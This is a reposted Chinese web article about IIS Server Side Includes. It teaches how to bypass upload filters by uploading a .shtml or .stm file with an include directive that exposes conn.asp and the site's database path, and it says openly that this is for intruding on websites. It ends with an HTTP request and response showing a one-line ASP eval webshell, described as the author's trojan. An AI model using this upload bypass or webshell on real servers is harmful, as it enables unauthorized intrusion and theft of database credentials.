首页 电脑 电脑学堂 查看内容

IIS下另外一个危险的ISAPI扩展

2009-2-12 05:28 417 0

摘要: 我们先来看一份关于SSI的介绍:SSI有什么用?     之所以要扯到ssi,是因为shtml--server-parsed HTML...
关键词: 文件 shtml 指令 nbsp 服务器 就是 内容 SSI 一个 asp

我们先来看一份关于SSI的介绍:SSI有什么用?     之所以要扯到ssi,是因为shtml--server-parsed HTML 的首字母缩略词。包含有嵌入式服务器方包含命令的 HTML 文本。在被传送给浏览器之前,服务器会对 SHTML 文档进行完全地读取、分析以及修改。     shtml和asp 有一些相似,以shtml命名的文件里,使用了ssi的一些指令,就像asp中的指令,你可以在SHTML文件中写入SSI指令,当客户端访问这些shtml文件时,服务器端会把这些SHTML文件进行读取和解释,把SHTML文件中包含的SSI指令解释出来     比如:你可以在SHTML文件中用SSI指令引用其他的html文件(#include ),服务器传送给客户端的文件,是已经解释的SHTML不会有SSI指令。它实现了HTML所没有的功能,就是可以实现了动态的SHTML,可以说是HTML的一种进化吧。像新浪的新闻系统就是这样的,新闻内容是固定的但它上面的广告和菜单等就是用#include引用进来的。 目前,主要有以下几种用用途: 1、显示服务器端环境变量<#echo> 2、将文本内容直接插入到文档中<#include> 3、显示WEB文档相关信息<#flastmod #fsize> (如文件制作日期/大小等) 4、直接执行服务器上的各种程序<#exec>(如CGI或其他可执行程序) 5、设置SSI信息显示格式<#config>(如文件制作日期/大小显示方式) 高级SSI<XSSI>可设置变量使用if条件语句 大家都知道ISAPI在默认情况下有很多危险的扩展,比如:   ASP ASA CER CDX,都可以执行ASP脚本代码在程序不允许上传这些扩展的情况下我们可以上传一个stm文件或者shtml, 内容为:<!--#include file="conn.asp"-->直接请求这个stm文件或者shtml文件, conn.asp就一览无遗, 数据库路径也就到手啦! 并且又看了那篇shtml的介绍后,恍然大悟,终于明白了!原来就是如上所说的,<!--#include file="conn.asp"-->  就是一条SSI指令,其作用是将"conn.asp"的内容拷贝到当前的页面中,当访问者来浏览时,会看到其它HTML文档一样显示conn.asp其中的内容。我在本地试验成功!在我的iis目录下建了一个test.shtml文件,内容为:<!--#include file="ok.asp"-->又在同一目录下放了一个我的一个木马文件ok.asp在浏览器中请求test.shtml,没有什么反映,一片空白。但是一查看源代码,狂晕,原来就是我的asp文件的内容!这样我们就可以利用这个来获取要入侵的web的conn文件来获得数据库路径,但是一个前提是服务器的对stm或者shtml的扩展没有删除,还有一个就是必须开启“在服务端包含文件”WEB服务扩展。 GET /test.shtml HTTP/1.1Accept: */*Accept-Language: zh-cnUA-CPU: x86Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; SV1; .NET CLR 1.1.4322)Host: 221.195.40.43Connection: Keep-Alive HTTP/1.1 200 OKDate: Tue, 14 Aug 2007 01:57:18 GMTServer: Microsoft-IIS/6.0Content-Length: 22Content-Type: text/html <%eval(request("#"))%>
声明:文章版权归原作者所有 部分文章转自互联网 如有侵权请联系 [邮箱地址] 删除

路过

雷人

握手

鲜花

鸡蛋

最新评论

返回顶部